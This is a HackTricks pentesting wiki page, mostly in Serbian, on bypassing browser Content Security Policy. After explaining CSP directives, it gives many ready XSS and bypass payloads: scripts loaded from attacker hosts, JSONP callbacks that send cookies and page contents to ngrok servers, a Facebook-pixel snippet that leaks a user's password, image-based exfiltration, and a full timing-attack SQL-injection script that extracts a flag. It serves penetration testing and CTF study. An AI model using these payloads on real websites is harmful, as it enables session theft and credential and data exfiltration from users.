hacktricks/pentesting-web/content-security-policy-csp-bypass
2024-11-19 12:35:30 +00:00
..
csp-bypass-self-+-unsafe-inline-with-iframes.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:15:49 +00:00
README.md Translated ['README.md', 'generic-methodologies-and-resources/pentesting 2024-11-19 12:35:30 +00:00

Content Security Policy (CSP) Bypass

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Šta je CSP

Content Security Policy (CSP) se prepoznaje kao tehnologija pretraživača, prvenstveno usmerena na zaštitu od napada kao što su cross-site scripting (XSS). Funkcioniše tako što definiše i detaljno opisuje puteve i izvore sa kojih se resursi mogu sigurno učitati od strane pretraživača. Ovi resursi obuhvataju niz elemenata kao što su slike, okviri i JavaScript. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa iste domene (self), uključujući inline resurse i izvršavanje string koda putem funkcija kao što su eval, setTimeout ili setInterval.

Implementacija CSP se vrši putem odgovornih zaglavlja ili uključivanjem meta elemenata u HTML stranicu. U skladu sa ovom politikom, pretraživači proaktivno sprovode ove odredbe i odmah blokiraju sve otkrivene prekršaje.

  • Implemented via response header:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Implementirano putem meta taga:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

CSP se može primeniti ili pratiti koristeći ove zaglavlja:

  • Content-Security-Policy: Primena CSP; pregledač blokira sve prekršaje.
  • Content-Security-Policy-Report-Only: Koristi se za praćenje; izveštava o prekršajima bez blokiranja. Idealno za testiranje u pre-produkcijskim okruženjima.

Defining Resources

CSP ograničava porekla za učitavanje aktivnog i pasivnog sadržaja, kontrolišući aspekte kao što su izvršavanje inline JavaScript-a i korišćenje eval(). Primer politike je:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Direktive

  • script-src: Dozvoljava specifične izvore za JavaScript, uključujući URL-ove, inline skripte i skripte pokrenute od strane event handler-a ili XSLT stilskih listova.
  • default-src: Postavlja podrazumevanu politiku za preuzimanje resursa kada specifične direktive za preuzimanje nisu prisutne.
  • child-src: Specifikuje dozvoljene resurse za web radnike i sadržaj u ugnježdenim okvirima.
  • connect-src: Ograničava URL-ove koji se mogu učitati koristeći interfejse kao što su fetch, WebSocket, XMLHttpRequest.
  • frame-src: Ograničava URL-ove za okvire.
  • frame-ancestors: Specifikuje koji izvori mogu ugraditi trenutnu stranicu, primenljivo na elemente kao što su <frame>, <iframe>, <object>, <embed>, i <applet>.
  • img-src: Definiše dozvoljene izvore za slike.
  • font-src: Specifikuje validne izvore za fontove učitane koristeći @font-face.
  • manifest-src: Definiše dozvoljene izvore datoteka manifest aplikacije.
  • media-src: Definiše dozvoljene izvore za učitavanje medijskih objekata.
  • object-src: Definiše dozvoljene izvore za elemente <object>, <embed>, i <applet>.
  • base-uri: Specifikuje dozvoljene URL-ove za učitavanje koristeći <base> elemente.
  • form-action: Navodi validne krajnje tačke za slanje obrazaca.
  • plugin-types: Ograničava mime tipove koje stranica može da pozove.
  • upgrade-insecure-requests: Naredjuje pretraživačima da prepišu HTTP URL-ove na HTTPS.
  • sandbox: Primena ograničenja sličnih sandbox atributu <iframe>.
  • report-to: Specifikuje grupu kojoj će izveštaj biti poslat ako se politika prekrši.
  • worker-src: Specifikuje validne izvore za Worker, SharedWorker, ili ServiceWorker skripte.
  • prefetch-src: Specifikuje validne izvore za resurse koji će biti preuzeti ili unapred preuzeti.
  • navigate-to: Ograničava URL-ove na koje dokument može da navigira na bilo koji način (a, obrazac, window.location, window.open, itd.)

Izvori

  • *: Dozvoljava sve URL-ove osim onih sa data:, blob:, filesystem: shemama.
  • 'self': Dozvoljava učitavanje sa iste domene.
  • 'data': Dozvoljava resursima da se učitavaju putem data sheme (npr., Base64 kodirane slike).
  • 'none': Blokira učitavanje sa bilo kog izvora.
  • 'unsafe-eval': Dozvoljava korišćenje eval() i sličnih metoda, nije preporučeno iz bezbednosnih razloga.
  • 'unsafe-hashes': Omogućava specifične inline event handlere.
  • 'unsafe-inline': Dozvoljava korišćenje inline resursa kao što su inline <script> ili <style>, nije preporučeno iz bezbednosnih razloga.
  • 'nonce': Lista dozvoljenih inline skripti koristeći kriptografski nonce (broj koji se koristi jednom).
  • Ako imate ograničeno izvršavanje JS-a, moguće je dobiti korišćen nonce unutar stranice sa doc.defaultView.top.document.querySelector("[nonce]") i zatim ga ponovo koristiti za učitavanje maliciozne skripte (ako se koristi strict-dynamic, bilo koji dozvoljeni izvor može učitati nove izvore pa ovo nije potrebno), kao u:
Učitaj skriptu ponovo koristeći nonce ```html ```
  • 'sha256-<hash>': Beleži skripte sa specifičnim sha256 hash-om.
  • 'strict-dynamic': Omogućava učitavanje skripti iz bilo kog izvora ako je beljen od strane nonce-a ili hash-a.
  • 'host': Precizira specifičan host, kao što je example.com.
  • https:: Ograničava URL-ove na one koji koriste HTTPS.
  • blob:: Omogućava učitavanje resursa sa Blob URL-ova (npr. Blob URL-ovi kreirani putem JavaScript-a).
  • filesystem:: Omogućava učitavanje resursa sa datotečnog sistema.
  • 'report-sample': Uključuje uzorak kršećeg koda u izveštaju o kršenju (korisno za debagovanje).
  • 'strict-origin': Slično 'self', ali osigurava da nivo bezbednosti protokola izvora odgovara dokumentu (samo sigurni izvori mogu učitavati resurse sa sigurnih izvora).
  • 'strict-origin-when-cross-origin': Šalje pune URL-ove prilikom pravljenja zahteva istog porekla, ali šalje samo poreklo kada je zahtev međuporeklo.
  • 'unsafe-allow-redirects': Omogućava učitavanje resursa koji će odmah preusmeriti na drugi resurs. Nije preporučljivo jer slabi bezbednost.

Unsafe CSP Rules

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Radni payload: "/><script>alert(1);</script>

self + 'unsafe-inline' putem Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

{% hint style="danger" %} Ovo ne radi, za više informacija proverite ovo. {% endhint %}

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Radni payload:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Ako možete nekako da omogućite da dozvoljeni JS kod kreira novi script tag u DOM-u sa vašim JS kodom, zato što ga dozvoljeni skript kreira, novi script tag će biti dozvoljen za izvršavanje.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Radni payload:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Nedostatak object-src i default-src

{% hint style="danger" %} Izgleda da ovo više ne funkcioniše {% endhint %}

Content-Security-Policy: script-src 'self' ;

Radni payloadi:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Upload fajla + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Ako možete da otpremite JS datoteku, možete zaobići ovaj CSP:

Radni payload:

"/>'><script src="/uploads/picture.png.js"></script>

Međutim, veoma je verovatno da server validira otpremnenu datoteku i da će vam dozvoliti da otpremite određene tipove datoteka.

Štaviše, čak i ako biste mogli da otpremite JS kod unutar datoteke koristeći ekstenziju koju server prihvata (kao što je: script.png), to neće biti dovoljno jer neki serveri poput apache servera biraju MIME tip datoteke na osnovu ekstenzije i pregledači poput Chrome-a će odbiti da izvrše Javascript kod unutar nečega što bi trebalo da bude slika. "Nadamo se", postoje greške. Na primer, iz jednog CTF-a sam saznao da Apache ne prepoznaje .wave ekstenziju, stoga je ne servira sa MIME tipom kao audio/*.

Odavde, ako pronađete XSS i otpremanje datoteka, i uspete da pronađete pogrešno interpretiranu ekstenziju, mogli biste pokušati da otpremite datoteku sa tom ekstenzijom i sadržajem skripte. Ili, ako server proverava ispravan format otpremne datoteke, kreirajte poliglot (neki primeri poliglotova ovde).

Form-action

Ako nije moguće injektovati JS, još uvek možete pokušati da eksfiltrirate, na primer, kredencijale injektovanjem akcije forme (i možda očekujući da menadžeri lozinki automatski popune lozinke). Možete pronaći primer u ovom izveštaju. Takođe, primetite da default-src ne pokriva akcije formi.

Treće strane + ('unsafe-eval')

{% hint style="warning" %} Za neke od sledećih payload-a unsafe-eval čak nije ni potreban. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Učitajte ranjivu verziju angulera i izvršite proizvoljni JS:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads koristeći Angular + biblioteku sa funkcijama koje vraćaju window objekat (pogledajte ovaj post):

{% hint style="info" %} Post pokazuje da možete učitati sve biblioteke sa cdn.cloudflare.com (ili bilo kog drugog dozvoljenog JS biblioteka repozitorijuma), izvršiti sve dodate funkcije iz svake biblioteke, i proveriti koje funkcije iz kojih biblioteka vraćaju window objekat. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS iz imena klase:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Zloupotreba google recaptcha JS koda

Prema ovom CTF izveštaju, možete zloupotrebiti https://www.google.com/recaptcha/ unutar CSP-a da izvršite proizvoljan JS kod zaobilaženjem CSP-a:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Više payload-a iz ovog izveštaja:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Zloupotreba www.google.com za otvoreni preusmeravanje

Sledeći URL preusmerava na example.com (iz ovde):

https://www.google.com/amp/s/example.com/

Zloupotreba *.google.com/script.google.com

Moguće je zloupotrebiti Google Apps Script da se primi informacija na stranici unutar script.google.com. Kao što je urađeno u ovom izveštaju.

Treće strane + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Scenariji poput ovog gde je script-src postavljen na self i određenu domenu koja je na beloj listi mogu se zaobići korišćenjem JSONP. JSONP krajnje tačke omogućavaju nesigurne callback metode koje omogućavaju napadaču da izvrši XSS, radni payload:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee sadrži spremne JSONP krajnje tačke za CSP zaobilaženje različitih veb sajtova.

Ista ranjivost će se pojaviti ako pouzdana krajnja tačka sadrži Open Redirect jer ako je inicijalna krajnja tačka pouzdana, preusmeravanja su pouzdana.

Zloupotrebe trećih strana

Kao što je opisano u sledećem postu, postoji mnogo domena trećih strana, koje mogu biti dozvoljene negde u CSP-u, koje se mogu zloupotrebiti za eksfiltraciju podataka ili izvršavanje JavaScript koda. Neki od ovih trećih strana su:

Entitet Dozvoljeni domen Mogućnosti
Facebook www.facebook.com, *.facebook.com Exfil
Hotjar *.hotjar.com, ask.hotjar.io Exfil
Jsdelivr *.jsdelivr.com, cdn.jsdelivr.net Exec
Amazon CloudFront *.cloudfront.net Exfil, Exec
Amazon AWS *.amazonaws.com Exfil, Exec
Azure Websites *.azurewebsites.net, *.azurestaticapps.net Exfil, Exec
Salesforce Heroku *.herokuapp.com Exfil, Exec
Google Firebase *.firebaseapp.com Exfil, Exec

Ako pronađete bilo koji od dozvoljenih domena u CSP-u vašeg cilja, postoji šansa da biste mogli da zaobiđete CSP registracijom na usluzi treće strane i, ili eksfiltrirate podatke na tu uslugu ili izvršite kod.

Na primer, ako pronađete sledeći CSP:

Content-Security-Policy: default-src 'self www.facebook.com;

or

Content-Security-Policy: connect-src www.facebook.com;

Trebalo bi da budete u mogućnosti da exfiltrirate podatke, slično kao što je to oduvek rađeno sa Google Analytics/Google Tag Manager. U ovom slučaju, pratite ove opšte korake:

  1. Napravite Facebook Developer nalog ovde.
  2. Napravite novu aplikaciju "Facebook Login" i izaberite "Website".
  3. Idite na "Settings -> Basic" i dobijte svoj "App ID".
  4. Na ciljanom sajtu sa kojeg želite da exfiltrirate podatke, možete exfiltrirati podatke direktno koristeći Facebook SDK uređaj "fbq" kroz "customEvent" i payload podataka.
  5. Idite na svoj App "Event Manager" i izaberite aplikaciju koju ste kreirali (napomena: menadžer događaja može se naći na URL-u sličnom ovom: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
  6. Izaberite karticu "Test Events" da vidite događaje koje šalje "vaš" veb sajt.

Zatim, na strani žrtve, izvršite sledeći kod da inicijalizujete Facebook praćenje piksela da upućuje na app-id napadačevog Facebook developer naloga i izdajte prilagođeni događaj poput ovog:

fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});

Što se tiče ostalih sedam trećih strana navedenih u prethodnoj tabeli, postoji mnogo drugih načina na koje ih možete zloupotrebiti. Pogledajte prethodni blog post za dodatna objašnjenja o drugim zloupotrebama trećih strana.

Bypass putem RPO (Relative Path Overwrite)

Pored prethodno pomenutog preusmeravanja za zaobilaženje ograničenja putanje, postoji još jedna tehnika koja se zove Relative Path Overwrite (RPO) koja se može koristiti na nekim serverima.

Na primer, ako CSP dozvoljava putanju https://example.com/scripts/react/, može se zaobići na sledeći način:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Pregledač će na kraju učitati https://example.com/scripts/angular/angular.js.

To funkcioniše jer za pregledač učitavate datoteku pod imenom ..%2fangular%2fangular.js koja se nalazi pod https://example.com/scripts/react/, što je u skladu sa CSP.

∑, oni će to dekodirati, efektivno tražeći https://example.com/scripts/react/../angular/angular.js, što je ekvivalentno https://example.com/scripts/angular/angular.js.

Iskorišćavanjem ove nekonzistentnosti u interpretaciji URL-a između pregledača i servera, pravila putanje se mogu zaobići.

Rešenje je da se %2f ne tretira kao / na strani servera, osiguravajući doslednu interpretaciju između pregledača i servera kako bi se izbegao ovaj problem.

Online primer: https://jsbin.com/werevijewa/edit?html,output

Izvršavanje JS u Iframe-ima

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

nedostaje base-uri

Ako je direktiva base-uri nedostajuća, možete je zloupotrebiti da izvršite dangling markup injection.

Štaviše, ako stranica učitava skriptu koristeći relativnu putanju (kao što je <script src="/js/app.js">) koristeći Nonce, možete zloupotrebiti base tag da učitate skriptu sa vašeg servera, postignuvši XSS.
Ako je ranjiva stranica učitana sa httpS, koristite httpS URL u bazi.

<base href="https://www.attacker.com/">

AngularJS događaji

Specifična politika poznata kao Content Security Policy (CSP) može ograničiti JavaScript događaje. Ipak, AngularJS uvodi prilagođene događaje kao alternativu. Unutar događaja, AngularJS pruža jedinstveni objekat $event, koji se odnosi na objekat nativnog browser događaja. Ovaj $event objekat može biti iskorišćen za zaobilaženje CSP-a. Važno je napomenuti da u Chrome-u, $event/event objekat poseduje atribut path, koji sadrži niz objekata uključenih u lanac izvršenja događaja, pri čemu je objekat window uvek smešten na kraju. Ova struktura je ključna za taktike bekstva iz sandbox-a.

Usmeravanjem ovog niza ka orderBy filteru, moguće je iterirati kroz njega, koristeći terminalni element (objekat window) za pokretanje globalne funkcije kao što je alert(). Prikazani kod ispod objašnjava ovaj proces:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Ovaj deo ističe upotrebu ng-focus direktive za pokretanje događaja, koristeći $event.path|orderBy za manipulaciju path nizom, i koristeći window objekat za izvršavanje alert() funkcije, čime se otkriva document.cookie.

Pronađite druge Angular zaobilaženja na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS i dozvoljena domena

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

CSP politika koja beleži domene za učitavanje skripti u Angular JS aplikaciji može se zaobići pozivanjem callback funkcija i određenih ranjivih klasa. Dodatne informacije o ovoj tehnici mogu se pronaći u detaljnom vodiču dostupnom na ovom git repozitorijumu.

Funkcionalni payload-ovi:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Drugi JSONP arbitrarni izvršni krajnji tački mogu se naći ovde (neki od njih su obrisani ili ispravljeni)

Zaobilaženje putem preusmeravanja

Šta se dešava kada CSP naiđe na preusmeravanje sa servera? Ako preusmeravanje vodi ka drugom poreklu koje nije dozvoljeno, i dalje će propasti.

Međutim, prema opisu u CSP specifikaciji 4.2.2.3. Putanje i preusmeravanja, ako preusmeravanje vodi ka drugačijoj putanji, može zaobići originalna ograničenja.

Evo jednog primera:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Ako je CSP postavljen na https://www.google.com/a/b/c/d, pošto se putanja uzima u obzir, skripte /test i /a/test će biti blokirane od strane CSP-a.

Međutim, konačni http://localhost:5555/301 će biti preusmeren na serverskoj strani na https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Pošto je u pitanju preusmeravanje, putanja se ne uzima u obzir, i skripta može biti učitana, čime se zaobilazi ograničenje putanje.

Sa ovim preusmeravanjem, čak i ako je putanja potpuno navedena, i dalje će biti zaobiđena.

Stoga, najbolje rešenje je osigurati da veb sajt nema otvorene ranjivosti za preusmeravanje i da ne postoje domeni koji se mogu iskoristiti u CSP pravilima.

Zaobilaženje CSP-a sa visećim oznakama

Pročitajte kako ovde.

'unsafe-inline'; img-src *; putem XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' znači da možete izvršiti bilo koji skript unutar koda (XSS može izvršiti kod) i img-src * znači da možete koristiti bilo koju sliku sa bilo kog resursa na veb stranici.

Možete zaobići ovaj CSP eksfiltracijom podataka putem slika (u ovoj situaciji XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi, i izvlači zastavicu putem slike):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Možete takođe zloupotrebiti ovu konfiguraciju da učitate javascript kod umetnut unutar slike. Ako, na primer, stranica dozvoljava učitavanje slika sa Twitter-a. Možete napraviti posebnu sliku, otpremiti je na Twitter i zloupotrebiti "unsafe-inline" da izvršite JS kod (kao regularni XSS) koji će učitati sliku, izvući JS iz nje i izvršiti ga: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Sa Servisnim Radnicima

Funkcija servisnih radnika importScripts nije ograničena CSP-om:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Injekcija Politike

Istraživanje: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Ako je parametar koji ste poslali nalepio unutar deklaracije politike, onda možete izmeniti politiku na neki način koji je čini beskorisnom. Možete dozvoliti skriptu 'unsafe-inline' sa bilo kojim od ovih zaobilaženja:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Zato što će ova direktiva prepisati postojeće script-src direktive.
Možete pronaći primer ovde: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

U Edge-u je mnogo jednostavnije. Ako možete dodati u CSP samo ovo: ;_ Edge će odbaciti celu politiku.
Primer: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; putem XSS (iframe) - Vremenski napad

Obratite pažnju na nedostatak direktive 'unsafe-inline'
Ovog puta možete naterati žrtvu da učita stranicu pod vašom kontrolom putem XSS sa <iframe. Ovog puta ćete naterati žrtvu da pristupi stranici sa koje želite da izvučete informacije (CSRF). Ne možete pristupiti sadržaju stranice, ali ako nekako možete kontrolisati vreme koje stranica treba da učita možete izvući informacije koje su vam potrebne.

Ovog puta će se zastavica izvući, kada god se karakter ispravno pogodi putem SQLi, odgovor traje duže zbog sleep funkcije. Tada ćete moći da izvučete zastavicu:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Via Bookmarklets

Ovaj napad bi podrazumevao neku vrstu socijalnog inženjeringa gde napadač uverava korisnika da prevuče i ispusti link preko bookmarkleta u pretraživaču. Ovaj bookmarklet bi sadržao malicious javascript kod koji bi, kada se prevuče ili klikne, bio izvršen u kontekstu trenutnog web prozora, zaobilazeći CSP i omogućavajući krađu osetljivih informacija kao što su kolačići ili tokeni.

Za više informacija proverite originalni izveštaj ovde.

CSP bypass by restricting CSP

U ovoj CTF analizi, CSP se zaobilazi injektovanjem unutar dozvoljenog iframe-a strožijeg CSP-a koji je zabranio učitavanje specifične JS datoteke koja je, zatim, putem prototype pollution ili dom clobbering omogućila zloupotrebu različitog skripta za učitavanje proizvoljnog skripta.

Možete ograničiti CSP iframe-a sa csp atributom:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

U ovoj CTF analizi, bilo je moguće putem HTML injekcije da se ograniči više CSP tako da je skripta koja sprečava CSTI onemogućena i stoga je ranjivost postala iskoristiva.
CSP se može učiniti restriktivnijim korišćenjem HTML meta tagova i inline skripte se mogu onemogućiti uklanjanjem unosa koji omogućava njihov nonce i omogućavanjem specifične inline skripte putem sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS exfiltracija sa Content-Security-Policy-Report-Only

Ako uspete da naterate server da odgovori sa zaglavljem Content-Security-Policy-Report-Only sa vrednošću koju kontrolišete (možda zbog CRLF), mogli biste da ga usmerite na vaš server i ako obavijete JS sadržaj koji želite da exfiltrirate sa <script> i zato što je veoma verovatno da unsafe-inline nije dozvoljen od strane CSP, ovo će pokrenuti CSP grešku i deo skripte (koji sadrži osetljive informacije) biće poslat serveru iz Content-Security-Policy-Report-Only.

Za primer proverite ovaj CTF izveštaj.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Leaking Information with CSP and Iframe

  • An iframe is created that points to a URL (let's call it https://example.redirect.com) which is permitted by CSP.
  • This URL then redirects to a secret URL (e.g., https://usersecret.example2.com) that is not allowed by CSP.
  • By listening to the securitypolicyviolation event, one can capture the blockedURI property. This property reveals the domain of the blocked URI, leaking the secret domain to which the initial URL redirected.

Zanimljivo je napomenuti da pregledači poput Chrome-a i Firefox-a imaju različita ponašanja u vezi sa iframovima u odnosu na CSP, što može dovesti do potencijalnog curenja osetljivih informacija zbog neodređenog ponašanja.

Druga tehnika uključuje iskorišćavanje samog CSP-a za dedukciju tajnog poddomena. Ova metoda se oslanja na algoritam binarne pretrage i prilagođavanje CSP-a kako bi uključila specifične domene koje su namerno blokirane. Na primer, ako je tajni poddomen sastavljen od nepoznatih karaktera, možete iterativno testirati različite poddomene modifikovanjem CSP direktive da blokira ili dozvoli ove poddomene. Evo isječka koji pokazuje kako bi CSP mogao biti postavljen da olakša ovu metodu:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Prateći koje zahteve CSP blokira ili dozvoljava, može se suziti mogući skup karaktera u tajnom poddomeni, na kraju otkrivajući punu URL adresu.

Obe metode koriste nijanse implementacije i ponašanja CSP-a u pregledačima, pokazujući kako naizgled sigurni propisi mogu nenamerno otkriti osetljive informacije.

Trik iz ovde.

Pridružite se HackenProof Discord serveru da komunicirate sa iskusnim hakerima i lovcima na greške!

Hacking Insights
Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hakovanja

Real-Time Hack News
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

Latest Announcements
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi

